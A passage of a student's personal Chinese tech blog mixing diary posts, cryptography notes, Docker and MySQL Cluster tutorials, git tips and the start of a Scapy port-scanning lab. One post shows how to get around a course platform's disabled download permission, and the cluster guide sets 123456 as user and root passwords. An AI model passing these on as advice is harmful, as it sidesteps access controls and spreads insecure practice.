下雪了 确实没想到有这么多南方的同学没有见过雪,朋友圈全是初雪好家伙。 废物 还是一如既往废物,o都没学,还是一如既往的废物。 怀旧 仙剑奇侠传三,真的好看,童年的经典:仙剑三、喜羊羊、果宝特攻、猪猪侠、铠甲勇士、洛洛历险记……这些符号聚成了我这一代人的回忆,好家伙这不就可以大数据分析了确定年龄了。

12/12/2023
articleCard.readMore

好的我现在就后悔了

后悔 看的太尴尬了,加上opcwt天天在我耳边说。。。 废物 还是一如既往废物,周末就做了个PPT,编译原理 高级数据库,六级,蓝桥杯,o都没学,还是一如既往的废物。

12/10/2023
articleCard.readMore

密码与信息安全

密码学与信息安全 密码学(Cryptology)是什么 研究如何对己方信息及信息传递进行保护,如何对敌方信息进行破译的科学 密码编码学(Cryptography):研究如何对信息进行加密 密码分析学(Cryptanalysis):研究如何对加密信息进行解密 密码学与信息安全 密码学是对于信息安全各方面(机密性、完整性、认证性和不可否认性)有关的数学技术的研究 密码学是保障信息安全的核心,但密码学不是提供信息安全的唯一方式,是保护信息安全的主要手段之一 信息安全是密码学研究与发展的目的 密码学的发展 古典密码:密码学是一门艺术 1949年之前 密码体制:纸、笔或简单器械实现的 代换 及 置换 典型密码:凯撒密码、单表密码、多表密码、维吉尼亚密码、Hill密码、Playfair密码、Enigma密码机等 特点:加密速度慢,适合对少量数据进行加密 传统密码(对称密码):密码学是一门科学 1949年-1976年 1949年Shannon发表了《保密系统的信息理论》,提出信息论,密码学开始科学化。 密码体制:对称密码体制 典型密码:DES、AES、IDEA、RC4、RC5、RC6等 特点:密钥长度短,加密速度快,适合对大量数据进行加密,密钥管理困难 现代密码(公钥密码):密码学是一门数学工程 1976年后 1976年,Diffie和Hellman发表《密码学的新方向》,标志着公钥密码体制的诞生(第二次质的飞跃)。 1978年,Rivest、Shamir和Adleman提出了RSA公钥密码体制。 现代密码学基本原则 柯克霍夫原则:除了密钥之外,即使密码系统的一切均被公开,它仍然应当是安全的。 香农箴言:敌人了解系统 密码体制的安全性应该依赖于密钥而不是算法的保密 密码体制:公钥密码体制 典型密码:RSA、ElGamal、ECC、DSA、DH、MD5、SHA-1、SHA-2、SHA-3等 特点:密钥长度长,加密速度慢,密钥管理方便 密码体制的安全性 无条件安全:即使敌手拥有无限的计算能力,也不能破译密文或者推断出明文 实际安全: 可证明安全:破译密码的难度与数学上的某个难题的难度相同 计算安全:破译密码的代价大于破译所得的价值或者破译所需的时间大于信息的有效期 个人密码设计的三个前提 你的账号、密码大概率会忘记; 你的账号密码大概率即将(或已经)被泄露; 关于账号密码的记录大概率即将(或已经)丢失; 个人密码设计的三个要求 安全性 便利性 可重复现性 安全性 密码长度:当前一般的账号密码设置场景下,都会要求密码长度不低于8位;显然,密码长度越长,相对越安全,只不过这里要考虑密码长度过大带来的不便利性问题; 组成丰富:主流场景下,会要求字母大小写,数字,符号等多种组成; 避免弱密码:一般要求避免123456这类弱口令,类似个人手机号,身份证号,姓名拼音等个人基本信息也需要尽量避免; 差异性:要避免不同账号命名的雷同,更要避免不同密码之间的雷同,否则泄露了一个账号密码,就是"全军覆没"的下场了 ; 可迭代性:单一密码使用时间越长相对越不安全,加上突发意外的密码泄露事件,密码的可更新的特点,具有充分的必要性; 便利性 可标识性:即通过密码的部分要素可以快速对应出密码的类别,等级等信息以及该密码对应的账号的部分信息; 有规律性:对于大量要管理的密码而言,要想保证不同密码之间的差异性,显然需要有规律的来开发和管理方法,才能达到目的; 可重复现性 云同步:密码的管理可采用本地纸质化、电子化管理和线性的云同步来协同管理,可有效避免密码的丢失; 丢失找回:想要在密码丢失后还能找回,实际上也是回到了"密码的规律性"问题,即密码的设置有一套可重现性的规律,通过账号信息,即可”计算“出对应的密码; 个人密码管理 基于以上的前提和要求,在设计个人密码时,我们需要思考的是,如何实现密码的分级管理、差异化要求和规律性要求,并且要在“安全性”与“便利性”之间寻求一个平衡点。 列举三种常见的密码管理方案: 大脑记忆 最常见的密码管理方式 安全性:一般比较高,但是如果为了记忆方便,密码组成简单,或多账号密码雷同,安全性会大打折扣 便利性:一般比较高,但是如果密码过多,记忆负担会比较大 可重复现性:密码越安全(复杂),越容易忘记,可重复现性越差 记事本记录 无论记录在纸上还是电脑记事本里,这种方式也很常见。 安全性:较低,即使加密或上锁,也很难保证安全 便利性:一般比较高,但是如果密码过多,查找起来确实不方便 可重复现性:风险在于记录的丢失,需要注意备份 密码管理工具(Keepass) 常见的密码管理工具有:Keepass,1Password,LastPass,Dashlane等,这里以Keepass为例。 KeePass 是一款开源的密码管理工具,使用一个加密的数据库保存所有的密码,不仅可以加密保存账号密码,利用自带功能及插件,还可以方便的生成强密码、便捷安全地输入密码等。但外观较为粗糙。 安全性:高,数据库主密码只要不泄露,即使数据库文件泄露,也不会造成密码泄露 便利性:高,利用插件可以方便地多端同步及自动填充密码 可重复现性:风险在于记录的丢失,需要注意备份

12/8/2023
articleCard.readMore

管他呢这里就是爷的空间了

决定 管他呢,情绪总需要一个宣泄口,不想发说说朋友圈,就在这里吧。 一年后的我看这些会觉得尴尬,那跟现在的我什么关系呢,管他呢! 废物 每天早上没课就睡到11.,然后刷手机到1.,一边刷一边忏悔要早睡早起,不能刷了,被sb短视频和帖子吸引,一边思考今天要开始好好学习了。 然后洗漱吃中餐,回来就打开电脑打游戏看视频电影。激烈的思想斗争后装模做样学几分钟,然后奖励自己玩到晚饭,我靠这么快,刚吃完午餐! 吃完回来再玩,我靠10.了,学几分钟,奖励自己或者履行早睡,躺在床上看手机到2.,然后傻逼睡了。 早上有课,7.20醒来关掉闹铃,然后睡到7.40,可能直接决定翘课,或者强行爬起来,上课带着电脑,说学习,还是刷手机,到晚上回宿舍又是同样的虚度时间。 洗澡时候想着未来的规划,明天要好好学习,然后睡觉,然后明天又是同样的一天。 我透,最傻逼的是你这个傻逼哪怕稍微努力一点点,或者做出一丝丝成果,就能得到极大的满足感,同时又很容易在美食、游戏等上面腻。 纯废物,就这还想着永生、马克思、区块链、考研!废物!傻逼!dinner!弱智!下水道里的老鼠至少会打洞!臭水沟里的蛆还能变成苍蝇飞!你这个废物真的找不到更废物的了! 想法1 想过的文艺点,听听音乐,好好学习,好好生活,开始也许打扮下自己吧! 想法2 shit!我心脏是受不了了,自四年前开始,我再也不能享受伤感的快感了,唉…

12/8/2023
articleCard.readMore

畅课平台课件资料无权限下载

问题 如上图,使用畅课(TronClass)平台时,老师可能有意无意未开放课件等资料的下载权限,导致无法下载。 解决方案 使用浏览器的开发者工具,查看网页源代码,找到课件下载。 在待下载的资料页面打开浏览器的开发者工具,一般快捷键是f12,选择网络页面,如下图所示: 点开资料,图例中为pdf课件,在网络的筛选条件中输入pdf,找到对应的网络资源,如下图所示: 右键后点击新建标签页打开,即可下载。 如图,下载成功。

11/27/2023
articleCard.readMore

支持小寒

欢迎大家支持小寒! 这样就有钱买服务器、吃好吃的、买游戏、买我以为有用的东西了!嘿嘿! 支持方式 Bitcoin: 1 bc1qv2hudf6u2ch8dgpuj938u2pt2n78t9tg3887sk Kaspa: 1 kaspa:qp8nq7eq0pktzv87md579d7c6kcj5v8d7jq9v67hcyne82tf62e4wf42rm2v8 Dogecoin: 1 DLmyDe6MpSEM4dioVssbBN13andEeqqBgb USDT: USDT-TRC20 1 TA58MKNyLjyYGbkRRAf3BkyW819E956m1q USDT-ERC20 1 0x6bbd8be748debe4fcb1f75f0458519abc74127b3

11/21/2023
articleCard.readMore

关于成长与朋友圈三天可见

思考 高中才正式接触互联网,感觉现在才逐渐了解到一些事情。 之前不能理解朋友圈仅三天可见,以为只是隐私和生人勿近。 现在明白了,其实是不需要互联网上展示自己给别人,以及最重要的,随着年龄增长,之前的言论很可能显得幼稚可笑。 仅三天可见是一种避免黑历史的很好的手段。 研究 因此我也得想办法解决我的博客上的这个问题。 本来单另出来一个页面作为我的赛博日记,但是感觉会成为黑历史,但又想搞。 总之需求是,有一个方便我随时记录查看的日记本,只给我和我亲近的人(或想让看的人)看。 暂时就先撤下来这个页面了,想到好办法再说。

11/19/2023
articleCard.readMore

在Dockerhub上push镜像

1. 在dockerhub上创建一个repository 登录dockerhub网站后,点击上图圈处创建新仓库。 2. 给本地镜像打上tag 1 2 3 4 # tag格式 docker tag <本地镜像名> <dockerhub用户名>/<仓库名>:<tag> # 有一个名为`lihan_ndbmgm:1.0`的镜像 docker tag lihan_ndbmgm:1.0 lihan3238/mysql_ndb_cluster-ubuntu:lihan_ndbmgm` tips 此时本地出现两个tag指向同一个镜像,分别是原来的lihan_ndbmgm:1.0和新的lihan3238/mysql_ndb_cluster-ubuntu:lihan_ndbmgm。 使用docker rmi命令任意删除一个tag不会影响镜像的使用。 3. push镜像 1 2 3 4 # 命令行登录docker docker login -u lalalalal --password-stdin balabala docker.io # push镜像 docker push lihan3238/mysql_ndb_cluster-ubuntu:lihan_ndbmgm

11/15/2023
articleCard.readMore

Ubuntu下安装包时缺少依赖的快速解决方法

问题 在Ubuntu等Linux系统下,使用apt或dpkg安装包时,可能会出现缺少依赖的情况。 解决方案 使用apt --fix-broken install命令即可解决。

11/11/2023
articleCard.readMore

搭建MySQLCluster集群环境

环境 windows11上的ubuntu22.04的wsl2 ubuntu20.04 mysql-cluster_8.0.35-1ubuntu20.04_amd64 配置环境 sql0 192.168.50.100 管理节点 sql1 192.168.50.128 数据节点[11] sql节点 sql2 192.168.50.129 数据节点[12] sql节点 成品镜像 lihan_ndbmgm 管理节点 docker pull lihan3238/mysql_ndb_cluster-ubuntu:lihan_ndbmgm lihan_ndbd_sql 数据节点 sql节点 docker pull lihan3238/mysql_ndb_cluster-ubuntu:lihan_ndbd_sql docker容器配置 windows11上的ubuntu22.04的wsl2 下载镜像 1 2 docker pull ubuntu:20.04 docker pull jrei/systemd-ubuntu:20.04 创建网络 1 docker network create --driver bridge --subnet 192.168.50.0/24 --gateway 192.168.50.1 mysqlBridge 创建容器 1 2 # sql0 docker run -di --name sql0 -v /home/lihan/sqlStudy:/home/shareFiles --net mysqlBridge --ip 192.168.50.100 ubuntu:20.04 下载mysql-cluster-community-server安装包 /mysql-cluster_8.0.35-1ubuntu20.04_amd64.deb-bundle.tar 将下载好的安装包放在宿主机挂载的目录下 安装mysql-cluster-community-server sql0 1 2 3 4 5 6 7 8 9 10 11 12 # 进入容器 docker exec -it sql0 /bin/bash # 创建mysql用户 adduser mysql # 密码123456 usermod -aG sudo mysql # 解压文件到install目录 mkdir install tar -xvf /home/shareFiles/mysql-cluster_8.0.35-1ubuntu20.04_amd64.deb-bundle.tar -C install/ cd install 缺少依赖libssl1.1 libssl1.1_1.1.1-1ubuntu2.1~18.04.23_amd64 1 2 3 4 5 6 7 8 # 下载依赖包`libssl1.1`后,复制到宿主机挂载目录下 dpkg -i /home/shareFiles/libssl1.1_1.1.1-1ubuntu2.1~18.04.23_amd64.deb # 更新修复`libssl1.1` apt update apt upgrade 制作镜像并创建sql1和sql2容器 sql0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # 下点需要的东西 apt install vim sudo dialog net-tools iputils-ping # 退出容器 exit docker stop sql0 docker commit sql0 lihansql:1.0 docker start sql0 # (可选)镜像保存为文件 docker save -o lihansql_1.0.tar lihansql:1.0 # 根据镜像创建容器sql1 sql2 # sql1 docker run -di --name sql1 -v /home/lihan/sqlStudy:/home/shareFiles --net mysqlBridge --ip 192.168.50.128 lihansql:1.0 # sql2 docker run -di --name sql2 -v /home/lihan/sqlStudy:/home/shareFiles --net mysqlBridge --ip 192.168.50.129 lihansql:1.0 配置集群管理器(Cluster Manager服务器) sql0 192.168.50.100 安装ndb_mgmd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 解压安装install目录下的依赖包 dpkg -i install/mysql-cluster-community-management-server_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-common_8.0.35-1ubuntu16.04_amd64.deb dpkg -i install/mysql-cluster-community-client-plugins_8.0.35-1ubuntu20.04_amd64.deb # 安装提示缺少依赖`libgssapi-krb5-2` `libkrb5-3` `libsasl2-2` apt --fix-broken install # 继续安装 dpkg -i install/mysql-cluster-community-client-plugins_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-cluster-community-client-core_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-cluster-community-client_8.0.35-1ubuntu20.04_amd64.deb 配置ndb_mgmd 1 2 3 # 创建配置文件 mkdir /var/lib/mysql-cluster vim /var/lib/mysql-cluster/config.ini config.ini 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 [ndbd default] # Options affecting ndbd processes on all data nodes: NoOfReplicas=2 # Number of replicas [ndb_mgmd] # Management process options: hostname=192.168.50.100 # Hostname of the manager datadir=/var/lib/mysql-cluster # Directory for the log files [ndbd] hostname=192.168.50.128 # Hostname/IP of the first data node NodeId=11 # Node ID for this data node datadir=/usr/local/mysql/data # Remote directory for the data files [ndbd] hostname=192.168.50.129 # Hostname/IP of the second data node NodeId=12 # Node ID for this data node datadir=/usr/local/mysql/data # Remote directory for the data files [mysqld] # SQL node options: hostname=192.168.50.128 # MySQL server/client i manager [mysqld] # SQL node options: hostname=192.168.50.129 # MySQL server/client i manager 启动ndb_mgmd 1 ndb_mgmd -f /var/lib/mysql-cluster/config.ini 显示以下信息 1 2 3 MySQL Cluster Management Server mysql-8.0.35 ndb-8.0.35 2023-11-07 08:24:08 [MgmtSrvr] INFO -- The default config directory '/usr/mysql-cluster' does not exist. Trying to create it... 2023-11-07 08:24:08 [MgmtSrvr] INFO -- Sucessfully created config directory (非必须)配置ndb_mgmd开机启动 docker的官方Ubuntu20.04镜像不带init,不支持systemd,因此跳过这个开机启动 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # 杀死进程 pkill -f ndb_mgmd # 创建启动脚本 vim /etc/systemd/system/ndb_mgmd.service # 编辑ndb_mgmd.service [Unit] Description=MySQL NDB Cluster Management Server After=network.target auditd.service [Service] Type=forking ExecStart=/usr/sbin/ndb_mgmd -f /var/lib/mysql-cluster/config.ini ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure [Install] WantedBy=multi-user.target # 采用daemon-reload重新加载配置 systemctl daemon-reload # 启动ndb_mgmd开机运行 systemctl enable ndb_mgmd # 启动ndb_mgmd systemctl start ndb_mgmd # 验证ndb_mgmd是否正在执行 systemctl status ndb_mgmd # 应该输出类似信息 ndb_mgmd.service - MySQL NDB Cluster Management Server Loaded: loaded (/etc/systemd/system/ndb_mgmd.service, enabled) Active: active (running) 管理ndb_mgmd 1 2 3 4 5 # 设置允许其他MySQL Cluster节点接入,如无`ufw`等防火墙,可以跳过这一步 ufw allow from 192.168.50.100 ufw allow from 192.168.50.128 ufw allow from 192.168.50.129 配置数据节点(Data Nodes) sql1 192.168.50.128 安装ndbd 1 2 3 4 5 6 # 安装依赖 sudo apt-get -f install sudo apt install libclass-methodmaker-perl # 安装ndbd dpkg -i install/mysql-cluster-community-data-node_8.0.35-1ubuntu20.04_amd64.deb 创建并配置 配置文件 1 2 3 4 5 6 7 8 9 10 11 12 # 创建配置文件 vim /etc/my.cnf # 编辑my.cnf [mysql_cluster] # Options for NDB Cluster processes: ndb-connectstring=192.168.50.100 # location of cluster manager # 创建数据目录 mkdir -p /usr/local/mysql/data 启动ndbd 1 2 3 4 5 6 7 8 9 10 11 # 启动 ndbd # 输出类似信息 2023-11-08 00:47:06 [ndbd] INFO -- Angel connected to '192.168.50.100:1186' 2023-11-08 00:47:07 [ndbd] INFO -- Angel allocated nodeid: 11 # 如果出现连接问题,请打开防火墙 ufw allow from 192.168.50.100 ufw allow from 192.168.50.128 ufw allow from 192.168.50.129 (非必须)配置ndbd开机启动 docker的官方Ubuntu20.04镜像不带init,不支持systemd,因此跳过这个开机启动 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # 杀死进程 pkill -f ndbd # 创建启动脚本 vim /etc/systemd/system/ndbd.service # 编辑ndbd.service [Unit] Description=MySQL NDB Data Node Daemon After=network.target auditd.service [Service] Type=forking ExecStart=/usr/sbin/ndbd ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure [Install] WantedBy=multi-user.target # 采用daemon-reload重新加载配置 systemctl daemon-reload # 启动ndb_mgmd开机运行 systemctl enable ndbd # 启动ndb_mgmd systemctl start ndbd # 验证ndb_mgmd是否正在执行 systemctl status ndbd # 应该输出类似信息 ndbd.service - MySQL NDB Data Node Daemon Loaded: loaded (/etc/systemd/system/ndbd.service, enabled) Active: active (running) 配置SQL节点(配置并运行MySQL Server 和 Client) sql1 标准的MySQL server不支持 MySQL Cluster 引擎 NDB. 这意味着我们需要安装含有定制的SQL服务器 MySQL Cluster软件. 安装依赖 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 # 安装联网依赖 apt update apt install libaio1 libmecab2 # 解压安装install目录下的依赖包 dpkg -i install/mysql-common_8.0.35-1ubuntu16.04_amd64.deb dpkg -i install/mysql-cluster-community-client-plugins_8.0.35-1ubuntu20.04_amd64.deb # 安装提示缺少依赖`libgssapi-krb5-2` `libkrb5-3` `libsasl2-2` apt --fix-broken install # 继续安装 dpkg -i install/mysql-cluster-community-client-plugins_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-cluster-community-client-core_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-cluster-community-client_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-client_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-cluster-community-server-core_8.0.35-1ubuntu20.04_amd64.deb # 安装提示缺少依赖`libnuma1` apt --fix-broken install # 继续安装 dpkg -i install/mysql-cluster-community-server-core_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-cluster-community-server_8.0.35-1ubuntu20.04_amd64.deb # 安装提示缺少依赖`libnuma1` apt --fix-broken install # 继续安装 dpkg -i install/mysql-cluster-community-server_8.0.35-1ubuntu20.04_amd64.deb #提示设置root密码 123456 # 重新安装 dpkg -i install/mysql-cluster-community-server_8.0.35-1ubuntu20.04_amd64.deb dpkg -i install/mysql-server_8.0.35-1ubuntu20.04_amd64.deb 配置MySQL server 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # MySQL Server 配置文件默认为 /etc/mysql/my.cnf vim /etc/mysql/my.cnf # 编辑my.cnf [mysqld] # Options for mysqld process: ndbcluster # run NDB storage engine ndb-connectstring=192.168.50.100 # default engine default_storage_engine=ndbcluster [mysql_cluster] # Options for NDB Cluster processes: ndb-connectstring=192.168.50.100 # location of management server # 重启 #systemctl restart mysql # 开机启动 #systemctl enable mysql 启动MySQL server 1 2 3 4 5 # 启动mysql数据库 mysqld --user=root & # 进入mysql数据库 mysql --socket=/run/mysqld/mysqld.sock -u root -p # 小tips:这里用了sudo 记得可能第一遍输入电脑的root密码,第二次输入mysql密码 验证MySQL Cluster安装 sql0 192.168.50.100 启动ndb_mgmd 1 2 3 ndb_mgmd -f /var/lib/mysql-cluster/config.ini sql1 192.168.50.128 启动ndbd 1 ndbd 连接MySQL Server 1 mysql -u root -p 报错1: 运行service mysql(d) start,报错unrecognized service 运行mysql,报错Connection error: Can't connect to local MySQL server through ***.sock 解决1: mysqld是用来启动mysql数据库的命令,mysql是打开并执行sql语句的命令。mysql.sock是随每一次 mysql server启动生成的。因此在未启动服务的情况下,直接运行mysql命令,会报错找不到*.sock 1 2 3 4 5 # mysqld启动mysql数据库 --user=mysql 指定mysql用户 & 后台运行 mysqld --user=root & # 关闭mysql数据库 mysqladmin -u root -p shutdown 报错2: [ERROR] Fatal error: Please read “Security” section of the manual to find out how to run mysqld as root 解决2: 一般情况下,mysql禁止root用户登陆数据库 以其他用户登陆mysql 在命令行上添加参数--user=root,这样每次都要添加,有点麻烦 编辑/etc/my.cnf,对对应标签([mysql]/[mysqld])添加user=root的设置 报错3: mysql -u root -p输入密码后,卡死或提示权限问题 解决3: 权限问题,使用sudo mysql -u root -p,输入密码后,可以正常登陆 报错3: mysql -u root -p输入密码后,报错Connection error: Can't connect to local MySQL server through ***.sock 解决3: find / -name *.sock查找.sock文件,启动时添加参数--socket=/run/mysqld/mysqld.sock,根据查找到的路径指定.sock文件 mysql --socket=/run/mysqld/mysqld.sock -u root -p 查看NDB引擎的相关信息 1 SHOW ENGINES NDB STATUS \G 输出类似信息 1 quit 集群管理器控制台上查看集群信息 sql0 192.168.50.100 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ndb_mgm # 进入ndb_mgm控制台 SHOW # 查看集群信息 # 显示如下信息 Cluster Configuration --------------------- [ndbd(NDB)] 2 node(s) id=11 @192.168.50.128 (mysql-8.0.35 ndb-8.0.35, starting, Nodegroup: 0) id=12 (not connected, accepting connect from 192.168.50.129) [ndb_mgmd(MGM)] 1 node(s) id=1 @192.168.50.100 (mysql-8.0.35 ndb-8.0.35) [mysqld(API)] 2 node(s) id=13 (not connected, accepting connect from 192.168.50.128) id=14 (not connected, accepting connect from 192.168.50.129) 问题1 发现ndbd正常连接,但是mysql无法连接 解决1 不知道为什么,一定要将集群的所有其他节点配置连接好后,才能连接上mysql节点。 吧sql2的ndbd配置好后,sql1和sql2的mysql就可以连接上了。 制作镜像并创建sql2容器 sql1 192.168.50.128 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # 退出容器 exit docker stop sql1 docker commit sql1 lihan_ndbd_sql:1.0 docker start sql1 # (可选)镜像保存为文件 docker save -o lihan_ndbd_sql.tar lihan_ndbd_sql:1.0 # 根据镜像创建容器sql1 sql2 # sql2 docker run -di --name sql2 -v /home/lihan/sqlStudy:/home/shareFiles --net mysqlBridge --ip 192.168.50.129 lihan_ndbd_sql:1.0 docker exec -it sql2 /bin/bash ndbd mysqld --user=root & 验证连接 sql0 192.168.50.100 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ndb_mgm # 进入ndb_mgm控制台 SHOW # 查看集群信息 # 显示如下信息 Cluster Configuration --------------------- [ndbd(NDB)] 2 node(s) id=11 @192.168.50.128 (mysql-8.0.35 ndb-8.0.35, Nodegroup: 0, *) id=12 @192.168.50.129 (mysql-8.0.35 ndb-8.0.35, Nodegroup: 0) [ndb_mgmd(MGM)] 1 node(s) id=1 @192.168.50.100 (mysql-8.0.35 ndb-8.0.35) [mysqld(API)] 2 node(s) id=13 @192.168.50.128 (mysql-8.0.35 ndb-8.0.35) id=14 @192.168.50.129 (mysql-8.0.35 ndb-8.0.35) 向MySQL集群插入数据 注意为了使用集群功能, 必须使用NDB数据库引擎. 如果使用InnoDB (default)或其他引擎,将不能使用集群. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -- 首先, 在一个sql节点创建数据库clustertest: CREATE DATABASE clustertest; -- 其次转到新数据库: USE clustertest; -- 再次,创建表test_table: CREATE TABLE test_table (name VARCHAR(20), value VARCHAR(20)) ENGINE=ndbcluster; -- 如果`my.cnf`中没有设置,这里需要显式规定ndbcluster引擎. -- 现在可以插入数据了: INSERT INTO test_table (name,value) VALUES('some_name','some_value'); -- 最后在另一个sql节点验证数据插入: SELECT * FROM test_table; 思考:在本例中,数据被插入到了哪个机器? 问题: 1 通过实验,你对一个分布式数据库系统有何理解?分布式数据库系统预计有何优越性? 2 你能设计一个方案验证集群系统在可靠性上优于集中式数据库系统吗? 3 同样是插入数据,你觉得MySQL Cluster和myCAT 在实体完整性保持方面是否可能会有不同?为什么?

11/7/2023
articleCard.readMore

gitcommit规范

commit message格式 <type>(<scope>): <subject> <commit类型>(影响范围): 具体描述 具体描述举例 fix(DAO): fixed invalid user table indexes. 解释 type type指明git commit的类别,应该使用以下类型,也可根据团队自行增减 『feat』: 新增功能 『fix』: 修复 bug 『docs』: 仅仅修改了文档,比如 README, CHANGELOG等等 『test』: 增加/修改测试用例,包括单元测试、集成测试等 『style』: 修改了空行、缩进格式、引用包排序等等(不改变代码逻辑) 『perf』: 优化相关内容,比如提升性能、体验、算法等 『refactor』: 代码重构,「没有新功能或者bug修复」 『chore』: 改变构建流程、或者增加依赖库、工具等 『revert』: 回滚到上一个版本 『merge』: 代码合并scope(可选) scope 用于说明 commit 影响的范围,根据不同项目有不同层次描述。若没有特殊规定,也可以描述影响的哪些功能等。 subject subject是commit目的的简短描述,不超过50/80个字符,一般git提交的时候会有颜色提示。 若英文用不惯,那么推荐使用中文若是开源代码,一律推荐统一英文, 英文不行可以翻译软件用起来 若是开源代码,可以再附加对应的issue地址 结尾不加标点符号 oh-my-zsh git commit示例 这里给出常用的oh-my-zsh的git commit的截图,采用的就是上述规范:

10/29/2023
articleCard.readMore

github仓库中的隐私信息处理

问题 在使用github仓库时,会出现有意或无意commit甚至push了包含隐私信息(密码、身份信息等)的文件。 原因 使用github action``github pages时,workflow等可能需要依赖token或密码等。 此外,即使删除了文件,但是仓库中的commit历史记录中仍然会存在,也需要进行处理。 解决方案 github action secret加密隐私信息 利用github提供的github action secret功能,将token等信息保存在secret中,然后在workflow中调用secret中的信息。 实际上,通过在workflow中增加临时修改文件的操作,也可以实现对所有文件中的隐私信息替换,而不仅是workflow目录下的文件中的隐私信息替换 。 以我的个人博客为例,由于个人博客中的gitalk评论区插件需要依赖github outh app,因此需要在workflow中调用github action secret中的token信息。 相关数据保存在config/_default/params.toml文件中。 1 2 3 4 5 6 7 8 ... repo = "lihan3238.github.io" clientID = "1eda156wa" clientSecret = "5168165" ... 注意到,文件中的隐私信息是明文保存的,任何访问者都能直接看到,很危险。 首先将原文替换为特定字符串 1 2 3 repo = "lihan3238.github.io" clientID = "id" clientSecret = "cs" 打开https://[仓库地址]/settings/secrets/actions(例如) 添加secret,并将token等信息保存在secret中。 然后在workflow中添加进行替换的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 jobs: # Update config file job update_config_file: runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v2 - name: Modify config file run: | CLIENT_ID_SECRET=${{ secrets.CLIENT_ID_SECRET }} CLIENT_SECRET_SECRET=${{ secrets.CLIENT_SECRET_SECRET }} sed -i "s/clientID = \"id\"/clientID = \"$CLIENT_ID_SECRET\"/" ${{ github.workspace }}/config/_default/params.toml sed -i "s/clientSecret = \"cs\"/clientSecret = \"$CLIENT_SECRET_SECRET\"/" ${{ github.workspace }}/config/_default/params.toml build: runs-on: ubuntu-latest env: HUGO_VERSION: 0.114.0 # !!!!!!!!!记得给之后的步骤添加依赖needs,不然谁知道先执行哪个!!!!!!!! # !!!!!!!!!要在同一个jobs里,不同步骤,好像不在一个job可能有问题 needs: update_config_file steps: ··· bfg删除历史commit中的隐私信息 bfg是一个用于清除git仓库中大文件的工具,可以用于清除历史commit中的隐私信息。 前往官网,下载bfg工具的jar包,然后在本地仓库目录下命令行中运行命令 1 2 3 java -jar [bfg.jar的绝对路径] --delete-files [要删除记录的文件名(不用地址)] # 强制更新远程仓库 git push --force

10/29/2023
articleCard.readMore

gitpush失败问题2

问题 在使用命令行进行Git push的时候,发现无法push,出现报错。 1 2 3 4 5 `.git@github.com: Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 原因 git配置私钥出了问题 解决方案 检查C:\Users\[用户名]\.ssh目录下是否有github的公私钥及config文件是否配置正确: 私钥格式问题 私钥文件的格式必须是id_rsa,而不能是id_rsa.ppk,否则会出现报错。 1 2 invalid format git@github.com: Permission denied (publickey). 解决: 1 2 3 4 5 6 7 8 9 10 11 打开 PuTTY Key Generator(PuTTYgen)。 在 PuTTYgen 中,点击 "Load" 按钮,并选择你的 PPK 格式的私钥文件。 PuTTYgen 会提示你输入私钥文件的密码,如果设置了密码的话,请输入。 密钥文件加载后,点击 "Conversions" 菜单,然后选择 "Export OpenSSH Key"。 选择一个目标文件名和目录来保存转换后的 OpenSSH 格式的私钥。确保文件没有扩展名(例如,保存为 github_test_private)。 保存私钥文件后,你就可以在 Git 中使用它了。 config文件配置问题 1 2 3 4 Host github.com HostName github.com User git IdentityFile ~/.ssh/id_rsa 验证 1 ssh -T git@github.com

10/29/2023
articleCard.readMore

2023网络安全作业chap0x05

基于 Scapy 编写端口扫描器 实验目的 掌握网络扫描之端口状态探测的基本原理 实验环境 kali python 3.11.4 scapy 2.5.0 实验要求 禁止探测互联网上的 IP ,严格遵守网络安全相关法律法规 完成以下扫描技术的编程实现 TCP connect scan / TCP stealth scan TCP Xmas scan / TCP fin scan / TCP null scan UDP scan 上述每种扫描技术的实现测试均需要测试端口状态为:开放、关闭 和 过滤 状态时的程序执行结果 提供每一次扫描测试的抓包结果并分析与课本中的扫描方法原理是否相符?如果不同,试分析原因; 在实验报告中详细说明实验网络环境拓扑、被测试 IP 的端口状态是如何模拟的 实验内容 实验网络环境拓扑 如图所示网络中的节点基本信息如下: 攻击者主机(lihanAttackerKaliChap4) mac地址:08:00:27:ef:46:19/eth0 ip地址:172.16.111.135 受害者主机(lihanVictimKali1) mac地址:08:00:27:93:2e:67/eth0 ip地址:172.16.111.102 网关(lihanGatewayDebian) mac地址:08:00:27:63:cd:72/enp0s9 ip地址:172.16.111.1 实验过程 扫描技术的编程实现 测试端口状态为:开放、关闭 和 过滤 状态时的程序执行结果 关闭状态:对应端口没有开启监听, 防火墙没有开启。 1 ufw disable 开启状态:对应端口开启监听: apache2基于TCP, 